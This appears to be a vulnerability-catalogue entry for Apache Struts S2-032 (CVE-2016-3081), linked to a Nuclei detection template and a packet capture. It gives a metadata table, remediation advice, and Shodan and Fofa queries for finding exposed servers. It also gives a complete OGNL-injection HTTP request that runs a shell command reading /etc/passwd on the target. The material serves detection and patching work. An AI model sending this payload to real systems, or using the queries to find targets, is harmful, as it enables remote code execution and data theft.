| Title | Apache S2-032 Struts - Remote Code Execution |
|---|---|
| Author | dhiyaneshDK |
| Severity | High |
| Impact | Remote code execution |
| Remediation | Upgrade to Apache Struts version 2.3.20.2, 2.3.24.2, or 2.3.28.1. |
| CVSS Score | 8.1 |
| EPSS Score | 0.93973 |
| CVE ID | CVE-2016-3081 |
| CWE ID | CWE-77 |
| Shodan Query | http.html:"apache struts"http.title:"struts2 showcase"http.html:"struts problem report" |
| Fofa Query | body="struts problem report"title="struts2 showcase"body="apache struts" |
| Tags | cve2016 cve struts rce apache vuln |
Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when dynamic method invocation is enabled, allows remote attackers to execute arbitrary code via method: prefix (related to chained expressions).
GET /index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2016/CVE-2016-3081.yaml
🦈 Packet Capture: ⬇️ Download cve-2016-3081.pcap
N/AN/A